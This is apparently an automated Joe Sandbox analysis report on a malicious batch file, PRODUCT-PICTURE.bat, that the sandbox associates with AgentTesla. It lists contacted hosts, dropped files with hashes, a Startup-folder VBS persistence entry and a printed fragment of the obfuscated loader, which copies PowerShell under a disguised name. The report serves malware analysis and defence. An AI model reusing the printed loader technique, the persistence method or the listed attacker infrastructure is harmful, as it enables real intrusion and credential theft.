http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crt.sectigo.com/SectigoPublicServerAuthenticationRootE46.p7c0#	InstallUtil.exe, 00000007.00000002.1838849296.0000000000870000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1865949536.0000000004BEF000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1838849296.0000000000915000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002563000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4152808981.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005E2F000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nffplp.com	InstallUtil.exe, 00000007.00000002.1851117806.0000000002563000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://nuget.org/NuGet.exe	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1700095915.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1876882803.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.comod	InstallUtil.exe, 00000011.00000002.4151602700.0000000000F20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://stackoverflow.com/q/14436606/23354	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000004F3D000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.0000000004FB9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000005252000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000932C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1835721747.0000000000532000.00000040.00000400.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1911240345.00000000092AB000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1911240345.0000000009192000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.sectigo.com0	InstallUtil.exe, 00000007.00000002.1865949536.0000000004BD2000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1838849296.0000000000870000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1865949536.0000000004BEF000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1838849296.0000000000915000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002563000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4152808981.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005E2F000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4151602700.0000000000F20000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005DF5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	IV.bat.Usq, 0000000F.00000002.1839930699.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	IV.bat.Usq, 0000000F.00000002.1839930699.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.microsoft.co	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1710281149.0000000007308000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	IV.bat.Usq, 0000000F.00000002.1876882803.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	IV.bat.Usq, 0000000F.00000002.1876882803.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-net	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.microsoft5	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1710281149.0000000007308000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.sectigo.com/cPanelECCDomainValidationSecureServerCA3.crt0#	InstallUtil.exe, 00000007.00000002.1865949536.0000000004BD2000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1865949536.0000000004BEF000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1838849296.0000000000915000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002563000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005DF5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	IV.bat.Usq, 0000000F.00000002.1839930699.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.sectigo.com/SectigoPublicServerAuthenticationRootE46.crl0	InstallUtil.exe, 00000007.00000002.1838849296.0000000000870000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1865949536.0000000004BEF000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1838849296.0000000000915000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002563000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4152808981.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4167941974.0000000005E2F000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mgravell/protobuf-neti	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.micro	IV.bat.Usq, 0000000F.00000002.1902983506.00000000073A9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/11564914/23354;	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	IV.bat.Usq, 0000000F.00000002.1876882803.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1700095915.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1876882803.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com	InstallUtil.exe, 00000007.00000002.1851117806.0000000002501000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.micro5	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1710281149.00000000072DE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000004C11000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1851117806.0000000002501000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.0000000004C91000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000011.00000002.4154044775.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lBtq	PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000004C11000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.0000000004C91000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	true
163.44.198.71	nffplp.com	Singapore		135161	GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1547842
Start date and time:	2024-11-03 07:27:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PRODUCT-PICTURE.bat
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winBAT@31/9@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 450 Number of non-executed functions: 33
Cookbook Comments:	Found application associated with file extension: .bat Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:27:56	API Interceptor	11x Sleep call for process: PRODUCT-PICTURE.bat.Usq modified
01:27:58	API Interceptor	9800463x Sleep call for process: InstallUtil.exe modified
01:28:10	API Interceptor	11x Sleep call for process: IV.bat.Usq modified
06:27:59	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	ip-api.com/json
	file.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json
	4hrQ9TIhLv.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	payment.details.lnk.lnk	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	FfmnGBw0Y6.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	aYLsj8zqvn.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	payment.details.lnk.lnk	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	Pt7TlAjQtn.exe	Get hash	malicious	AveMaria, WhiteSnake Stealer	Browse	ip-api.com/line?fields=query,country
	pAw9ap5Qr8.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	Env#U00edo de Orden de Compra No. 0797566653996101.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
163.44.198.71	ilZhNx3JAc.bat	Get hash	malicious	AgentTesla	Browse
	87M9Y3P4Z7.bat	Get hash	malicious	AgentTesla	Browse
	nDHL_AWB_6078538091_scr.exe	Get hash	malicious	AgentTesla	Browse
	IDR-500000000.scr.exe	Get hash	malicious	AgentTesla	Browse
	Payment-Details.scr.exe	Get hash	malicious	AgentTesla	Browse
	Outward Remittance_Payment Receipt.exe	Get hash	malicious	AgentTesla	Browse
	SOA Payment for June 30th.exe	Get hash	malicious	AgentTesla	Browse
	US00061Q0904081THBKK.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.PWSX-gen.17036.7156.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.PWSX-gen.25669.202.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
nffplp.com	ilZhNx3JAc.bat	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	87M9Y3P4Z7.bat	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	nDHL_AWB_6078538091_scr.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	IDR-500000000.scr.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	Payment-Details.scr.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	Outward Remittance_Payment Receipt.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	SOA Payment for June 30th.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	US00061Q0904081THBKK.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	SecuriteInfo.com.Win32.PWSX-gen.17036.7156.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	SecuriteInfo.com.Win32.PWSX-gen.25669.202.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	163.44.198.71
ip-api.com	SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	208.95.112.1
	file.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	4hrQ9TIhLv.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	payment.details.lnk.lnk	Get hash	malicious	Quasar	Browse	208.95.112.1
	FfmnGBw0Y6.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	aYLsj8zqvn.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	payment.details.lnk.lnk	Get hash	malicious	Quasar	Browse	208.95.112.1
	Pt7TlAjQtn.exe	Get hash	malicious	AveMaria, WhiteSnake Stealer	Browse	208.95.112.1
	pAw9ap5Qr8.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Env#U00edo de Orden de Compra No. 0797566653996101.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG	ilZhNx3JAc.bat	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	87M9Y3P4Z7.bat	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	https://chilltalk.co.th/sg/societalgenerale/	Get hash	malicious	Unknown	Browse	163.44.198.45
	nDHL_AWB_6078538091_scr.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	https://16883719-16-20211227182314.webstarterz.com/hdfckychdfclog/index.php	Get hash	malicious	Unknown	Browse	150.95.98.21
	islHUvTZcI.exe	Get hash	malicious	GuLoader	Browse	118.27.130.234
	islHUvTZcI.exe	Get hash	malicious	GuLoader	Browse	118.27.130.234
	IDR-500000000.scr.exe	Get hash	malicious	AgentTesla	Browse	163.44.198.71
	eCRzQywfQl.exe	Get hash	malicious	GuLoader	Browse	118.27.130.234
	P.O_Qouts_t87E90Y-E4R7G-PDF.exe	Get hash	malicious	Remcos, GuLoader	Browse	118.27.130.234
TUT-ASUS	SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	208.95.112.1
	file.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	4hrQ9TIhLv.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	payment.details.lnk.lnk	Get hash	malicious	Quasar	Browse	208.95.112.1
	FfmnGBw0Y6.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	aYLsj8zqvn.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	payment.details.lnk.lnk	Get hash	malicious	Quasar	Browse	208.95.112.1
	Pt7TlAjQtn.exe	Get hash	malicious	AveMaria, WhiteSnake Stealer	Browse	208.95.112.1
	pAw9ap5Qr8.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Env#U00edo de Orden de Compra No. 0797566653996101.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Fattura-24SC-99245969925904728562.vbs	Get hash	malicious	Discord Token Stealer	Browse
	ilZhNx3JAc.bat	Get hash	malicious	AgentTesla	Browse
	87M9Y3P4Z7.bat	Get hash	malicious	AgentTesla	Browse
	ip4.cmd	Get hash	malicious	Unknown	Browse
	https://mariculturasalinas.com/za/zap/enter.php	Get hash	malicious	Unknown	Browse
	849128312.cmd	Get hash	malicious	Unknown	Browse
	Tracking#1Z379W410424496200.vbs	Get hash	malicious	AgentTesla	Browse
	Rechnung0192839182.pdf	Get hash	malicious	Unknown	Browse
	Rechnung-62671596778856538170.vbs	Get hash	malicious	PureLog Stealer	Browse
	Original Invoice.vbs	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Roaming\IV.bat.Usq	Fattura-24SC-99245969925904728562.vbs	Get hash	malicious	Discord Token Stealer	Browse
	ilZhNx3JAc.bat	Get hash	malicious	AgentTesla	Browse
	87M9Y3P4Z7.bat	Get hash	malicious	AgentTesla	Browse
	ip4.cmd	Get hash	malicious	Unknown	Browse
	https://mariculturasalinas.com/za/zap/enter.php	Get hash	malicious	Unknown	Browse
	849128312.cmd	Get hash	malicious	Unknown	Browse
	Tracking#1Z379W410424496200.vbs	Get hash	malicious	AgentTesla	Browse
	Rechnung0192839182.pdf	Get hash	malicious	Unknown	Browse
	Rechnung-62671596778856538170.vbs	Get hash	malicious	PureLog Stealer	Browse
	Original Invoice.vbs	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_20dcboky.n3d.ps1

Download File

Process:	C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_plekoa5h.rnl.psm1

Download File

Process:	C:\Users\user\AppData\Roaming\IV.bat.Usq
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pqq0ou04.peg.ps1

Download File

Process:	C:\Users\user\AppData\Roaming\IV.bat.Usq
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vnmg44pq.waz.psm1

Download File

Process:	C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\IV.bat

Download File

Process:	C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq
File Type:	Unicode text, UTF-8 text, with very long lines (57001), with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	1512865
Entropy (8bit):	6.033187212958361
Encrypted:	false
SSDEEP:	24576:vo9pmMNIqPBiS5pMXC8D04D7w2tPIw0Lxqr8nB0N8HVh+914Cuw6dpjDHxo:wr36ShkXCjx4Nh45w2je
MD5:	F131DEE7460F93F201972C93F2D69AE5
SHA1:	124FB3A362A9677C249670CB3440C6881A4507E3
SHA-256:	4429D220F63C6D7804095C2D67EEECDE325E4989393DC67BE19BB61D5833C880
SHA-512:	644976C42EF20FD991EFF6ED168308180FFB6F0DA19F9A905DC513B9A3C680E09131B033756FD1266DDDA046CF4DFBF736F8C99E452D015981ABAAF4021DAE40
Malicious:	false
Preview:	@chcp 65001..set ".....=C:\Win"..set "......=echo F"..set ".....=owsPow"..set ".....=ysWOW6"..:: Zeixc Ecmpyyboifa Etipoy..:: Mwrzhz Zrfhaxwq..:: Ncpiw Zioxtkxa..:: Omsbqryevl Pjsqjhid Eltlxcxdjbo..set ".......=py /d "..set ".......=/q /y "..:: Qqnjahkrgrl Gzpnqwgabx Acevhirf..:: Vkmafvg Gihzilck Ftnginljdg..set "........= \| xco"..set ".........=exe %~0.Usq"..set ".....=erShel"..:: Gufqqef Enwfhjgfdb..:: Kxoerxfsqf Bjcpph Ynxzgev..:: Eocvtbz Pmwqnchwdo Ekmjrfltk..set ".....=/h /i "..:: Zoinqttyw Wyhroet..set ".......=4\Wind"..:: Jtdbeww Mhivavvxfok..set ".........=l\v1.0"..set ".......=dows\S"..set ".....=\power"..set ".......=shell."...%......%%........%%.......%%.......%%.....%%.....%%.......%%.....%%.......%%.....%%.....%%.........%%.....%%.......%%.........%...set ".........= %~0.Us

C:\Users\user\AppData\Roaming\IV.bat.Usq

Download File

Process:	C:\Windows\System32\xcopy.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	433152
Entropy (8bit):	5.502549953174867
Encrypted:	false
SSDEEP:	6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
SHA1:	F5EE89BB1E4A0B1C3C7F1E8D05D0677F2B2B5919
SHA-256:	73A3C4AEF5DE385875339FC2EB7E58A9E8A47B6161BDC6436BF78A763537BE70
SHA-512:	6E43DCA1B92FAACE0C910CBF9308CF082A38DD39DA32375FAD72D6517DEA93E944B5E5464CF3C69A61EABF47B2A3E5AA014D6F24EFA1A379D4C81C32FA39DDBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Fattura-24SC-99245969925904728562.vbs, Detection: malicious, Browse Filename: ilZhNx3JAc.bat, Detection: malicious, Browse Filename: 87M9Y3P4Z7.bat, Detection: malicious, Browse Filename: ip4.cmd, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: 849128312.cmd, Detection: malicious, Browse Filename: Tracking#1Z379W410424496200.vbs, Detection: malicious, Browse Filename: Rechnung0192839182.pdf, Detection: malicious, Browse Filename: Rechnung-62671596778856538170.vbs, Detection: malicious, Browse Filename: Original Invoice.vbs, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".z.fg..fg..fg..x5..dg..o...lg..r...eg..r...}g..fg...g..r...cg..r...og..r...ng..r..gg..r...gg..Richfg..........................PE..L...s/.0..........................................@......................................@...... ...........................".......0...}......................\|....I..T............................................ ...............................text...\........................... ..`.data...8...........................@....idata....... ......................@..@.rsrc....}...0...~..................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\IV.bat:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs

Download File

Process:	C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.758823762273411
Encrypted:	false
SSDEEP:	3:FER/n0eFHHot+kiEaKC548Hn:FER/lFHIwknaZ55H
MD5:	87D757E481A2039B3B791025AE00153C
SHA1:	1E102CE49B9D276F32C3B77C3018015C6C4F03C0
SHA-256:	962E332979DBAF5D2B8823BEB0E33A14A21E218B9A69EF4CA0123743481B445C
